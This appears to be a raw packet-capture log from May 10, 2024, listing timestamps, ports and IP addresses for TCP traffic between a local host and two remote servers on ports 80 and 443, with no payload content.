May 10, 2024 09:20:58.217307091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217312098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.217319965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217338085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217345953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.217350006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217363119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217374086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217380047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.217386961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217394114 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.217418909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.219546080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.219558954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.219569921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.219580889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.219593048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.219604969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.219615936 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.219646931 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.219662905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.221919060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.221930981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.221942902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.221954107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.221963882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.221972942 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.221976042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.221995115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222001076 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222008944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222013950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222022057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222033978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222044945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222053051 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222055912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222075939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222079992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222095966 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222204924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222217083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222228050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222239017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222242117 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222253084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222259998 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222265005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222276926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222287893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222300053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222301006 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222311020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222321987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222332954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222343922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222356081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222367048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222377062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222388029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222399950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222410917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222421885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222433090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222436905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222438097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222438097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222438097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222438097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222438097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222445011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222450972 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222460985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222462893 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222480059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222496986 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222512960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222524881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222558975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222731113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222743034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222754002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222764015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222774982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222778082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222785950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222790956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222800970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222811937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222814083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222832918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222841978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222846031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222857952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222868919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222881079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222883940 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222893000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222904921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222907066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222917080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222923040 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222930908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222943068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222954988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222961903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222968102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222979069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222984076 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.222991943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.222996950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.223004103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223016024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223017931 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.223030090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223042011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223042011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.223053932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223066092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223071098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.223071098 CEST	49784	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.223078012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223089933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223090887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.223103046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223109007 CEST	443	49784	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.223114014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.223114967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223126888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223138094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223149061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223149061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.223161936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223174095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223176956 CEST	49784	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.223186016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223196030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223203897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.223216057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223217010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.223229885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223237991 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.223242998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223254919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223267078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223267078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.223278999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223289967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223292112 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.223303080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223308086 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.223315954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223329067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223340034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223346949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.223351002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223356009 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.223365068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223376989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223380089 CEST	49784	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.223387957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223390102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.223395109 CEST	443	49784	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.223401070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.223421097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.223448992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.225460052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225472927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225485086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225497007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225508928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225514889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.225523949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225545883 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.225569010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.225711107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225723982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225734949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225747108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225759029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225759029 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.225773096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225780010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.225786924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225805044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225816965 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.225817919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225831032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225837946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.225842953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225855112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225867033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225872993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.225878954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225891113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225900888 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.225903034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225927114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225939035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225939989 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.225955963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225975990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.225980043 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.225989103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226000071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226007938 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226011992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226025105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226037025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226042032 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226048946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226059914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226067066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226072073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226084948 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226103067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226114988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226119995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226133108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226144075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226155996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226167917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226172924 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226180077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226191998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226197004 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226207018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226218939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226242065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226242065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226242065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226257086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226269007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226280928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226290941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226291895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226304054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226305962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226317883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226330042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226341009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226361036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226372957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226376057 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226385117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226388931 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226398945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226411104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226423025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226427078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226445913 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226448059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226460934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226473093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226484060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226488113 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226497889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226510048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226516962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226522923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226524115 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226535082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226546049 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226547003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226562977 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226564884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226588011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226597071 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226600885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226619005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226629972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226630926 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226643085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226654053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226665020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226676941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226687908 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226687908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226715088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226718903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226727009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226738930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226749897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226753950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226763010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226774931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226782084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226788044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226794958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226802111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226814032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226819992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226825953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226836920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226849079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226855993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226860046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226871967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226871967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226883888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226886988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226897955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226911068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226922035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226933956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226934910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226946115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226955891 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226958036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226970911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226970911 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226984024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.226991892 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.226996899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227009058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227015018 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.227020979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227032900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227045059 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.227045059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227058887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227078915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.227102995 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.227310896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227323055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227334023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227344990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227355957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227365971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227376938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227386951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227399111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227410078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227421045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227432966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227443933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227453947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227464914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227474928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227487087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227497101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227508068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227523088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227534056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227545023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227555990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227566957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227577925 CEST	80	49754	34.68.151.162	192.168.2.4
